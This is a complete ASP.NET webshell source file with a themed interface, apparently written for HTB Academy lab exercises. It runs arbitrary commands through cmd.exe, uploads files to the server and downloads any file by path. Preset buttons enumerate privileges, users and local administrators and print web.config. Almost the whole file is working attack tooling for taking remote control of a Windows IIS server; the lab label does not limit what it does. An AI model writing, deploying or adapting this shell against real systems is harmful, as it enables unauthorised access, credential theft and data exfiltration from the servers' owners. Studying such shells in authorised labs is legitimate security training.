<%@ Page Language="C#" ValidateRequest="false" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
// ============================================================
// rp-shell.aspx — single-file ASP.NET webshell (Rose Pine)
// Lab use only — HTB Academy / Attacking Enterprise Networks
// ============================================================
string workDir = "";
string output = "";
string statusMsg = "";
protected void Page_Load(object sender, EventArgs e)
{
// --- restore working directory from previous request ---
workDir = Request.Form["wd"];
if (String.IsNullOrEmpty(workDir) || !Directory.Exists(workDir))
workDir = Server.MapPath(".");
// --- file download: ?get=<path> ---
string dl = Request.QueryString["get"];
if (!String.IsNullOrEmpty(dl))
{
string full = Path.IsPathRooted(dl) ? dl : Path.Combine(workDir, dl);
if (File.Exists(full))
{
Response.Clear();
Response.ContentType = "application/octet-stream";
Response.AddHeader("Content-Disposition",
"attachment; filename=" + Path.GetFileName(full));
Response.TransmitFile(full);
Response.End();
}
statusMsg = "download failed: file not found -> " + full;
}
// --- file upload ---
if (Request.Files.Count > 0 && Request.Files[0].ContentLength > 0)
{
try
{
string dest = Path.Combine(workDir,
Path.GetFileName(Request.Files[0].FileName));
Request.Files[0].SaveAs(dest);
statusMsg = "uploaded -> " + dest;
}
catch (Exception ex) { statusMsg = "upload failed: " + ex.Message; }
}
// --- command execution ---
string cmd = Request.Form["cmd"];
if (!String.IsNullOrEmpty(cmd))
{
string t = cmd.Trim();
if (t == "cd" || t.StartsWith("cd ") || t.StartsWith("cd\\") || t.StartsWith("cd/"))
{
string target = t.Length > 2 ? t.Substring(2).Trim() : "";
if (target.Length == 0)
{
output = workDir;
}
else
{
string newDir = Path.IsPathRooted(target)
? target
: Path.GetFullPath(Path.Combine(workDir, target));
if (Directory.Exists(newDir)) { workDir = newDir; output = ""; }
else output = "The system cannot find the path specified.";
}
}
else if (t == "cls" || t == "clear")
{
output = "";
}
else
{
output = RunCmd(cmd);
}
}
}
string RunCmd(string c)
{
try
{
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + c;
p.StartInfo.WorkingDirectory = workDir;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.CreateNoWindow = true;
p.Start();
string so = p.StandardOutput.ReadToEnd();
string se = p.StandardError.ReadToEnd();
p.WaitForExit(60000);
string r = so + (se.Length > 0 ? "\r\n" + se : "");
return r.TrimEnd();
}
catch (Exception ex) { return "error: " + ex.Message; }
}
string Banner()
{
string u = "", h = "";
try { u = RunCmd("whoami").Trim(); } catch { u = "?"; }
try { h = Environment.MachineName; } catch { h = "?"; }
return h + " :: " + u;
}
</script>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>rp-shell :: <%: Banner() %></title>
<style>
:root{
--base:#191724; --surface:#1f1d2e; --overlay:#26233a;
--muted:#6e6a86; --subtle:#908caa; --text:#e0def4;
--love:#eb6f92; --gold:#f6c177; --rose:#ebbcba;
--pine:#31748f; --foam:#9ccfd8; --iris:#c4a7e7;
}
*{box-sizing:border-box;}
body{
background:var(--base); color:var(--text);
font-family:"Cascadia Code",Consolas,"Courier New",monospace;
margin:0; padding:24px; font-size:14px;
}
.wrap{max-width:960px; margin:0 auto;}
.card{
background:var(--surface); border:1px solid var(--overlay);
border-radius:10px; padding:18px 20px; margin-bottom:16px;
}
.banner{
font-size:15px; color:var(--foam); letter-spacing:.5px;
border-left:3px solid var(--iris); padding-left:12px;
}
.banner b{color:var(--love);}
.meta{color:var(--subtle); font-size:12px; margin-top:6px;}
.meta span{color:var(--gold);}
.pwd{color:var(--pine); word-break:break-all;}
.pwd b{color:var(--foam);}
pre{
background:var(--base); border:1px solid var(--overlay);
border-radius:8px; padding:14px; overflow-x:auto;
white-space:pre-wrap; word-break:break-all;
color:var(--text); min-height:60px; margin:12px 0;
}
.status{color:var(--gold); font-size:12px; min-height:16px;}
input[type=text]{
width:100%; background:var(--overlay); color:var(--text);
border:1px solid var(--muted); border-radius:6px;
padding:10px 12px; font-family:inherit; font-size:14px;
}
input[type=text]:focus{outline:none; border-color:var(--iris);}
.row{display:flex; gap:8px; margin-top:10px; flex-wrap:wrap; align-items:center;}
.btn{
background:var(--pine); color:var(--text); border:none;
border-radius:6px; padding:9px 18px; cursor:pointer;
font-family:inherit; font-size:13px;
}
.btn:hover{background:var(--foam); color:var(--base);}
.btn.alt{background:var(--overlay); color:var(--subtle);}
.btn.alt:hover{background:var(--muted); color:var(--text);}
.chips{margin-top:10px; display:flex; gap:6px; flex-wrap:wrap;}
.chip{
background:var(--overlay); color:var(--iris); border:1px solid var(--muted);
border-radius:12px; padding:3px 10px; font-size:11px; cursor:pointer;
}
.chip:hover{background:var(--iris); color:var(--base);}
.fileline{display:flex; gap:8px; margin-top:8px; align-items:center;}
.fileline input[type=file]{color:var(--subtle); font-size:12px;}
.hint{color:var(--muted); font-size:11px; margin-top:8px;}
a{color:var(--foam);}
</style>
</head>
<body>
<div class="wrap">
<div class="card">
<div class="banner">rp-shell :: <b><%: Banner() %></b></div>
<div class="meta">
remote <span><%: Request.ServerVariables["REMOTE_ADDR"] %></span> ::
server <span><%: Request.ServerVariables["SERVER_SOFTWARE"] %></span> ::
iis <span><%: Request.ServerVariables["SERVER_NAME"] %>:<%: Request.ServerVariables["SERVER_PORT"] %></span>
</div>
</div>
<div class="card">
<div class="pwd">cwd :: <b><%: workDir %></b></div>
<pre id="out"><%: output %></pre>
<div class="status"><%: statusMsg %></div>
<form method="post" enctype="multipart/form-data">
<input type="hidden" name="wd" value="<%: workDir %>">
<input type="text" name="cmd" id="cmd" autocomplete="off"
autofocus placeholder="command... (cd supported, cls clears)">
<div class="row">
<button class="btn" type="submit">run</button>
<button class="btn alt" type="submit" name="cmd" value="cls">clear</button>
</div>
<div class="chips">
<span class="chip" onclick="fill('whoami /all')">whoami /all</span>
<span class="chip" onclick="fill('whoami /priv')">whoami /priv</span>
<span class="chip" onclick="fill('hostname & ipconfig')">ipconfig</span>
<span class="chip" onclick="fill('dir')">dir</span>
<span class="chip" onclick="fill('net user')">net user</span>
<span class="chip" onclick="fill('net localgroup administrators')">local admins</span>
<span class="chip" onclick="fill('systeminfo | findstr /B /C:"OS"')">os info</span>
<span class="chip" onclick="fill('type web.config')">type web.config</span>
</div>
<div class="fileline">
<input type="file" name="f">
<button class="btn alt" type="submit">upload to cwd</button>
</div>
</form>
<form method="get" class="fileline">
<input type="text" name="get" placeholder="download path, e.g. C:\DotNetNuke\Portals\0\web.config">
<button class="btn alt" type="submit">download</button>
</form>
<div class="hint">
up/down arrows = command history ::
upload drops files into the current working directory ::
remember to delete this file during cleanup
</div>
</div>
</div>
<script>
var hist = [], hi = -1;
var box = document.getElementById("cmd");
function fill(c){ box.value = c; box.focus(); }
box.form.addEventListener("submit", function(){
if (box.value) hist.push(box.value);
});
box.addEventListener("keydown", function(e){
if (e.key === "ArrowUp"){ e.preventDefault();
if (hist.length){ hi = Math.max(0, hi < 0 ? hist.length - 1 : hi - 1); box.value = hist[hi]; } }
if (e.key === "ArrowDown"){ e.preventDefault();
if (hist.length){ hi = Math.min(hist.length - 1, hi + 1); box.value = hist[hi]; } }
});
document.getElementById("out").scrollTop = 0;
</script>
</body>
</html>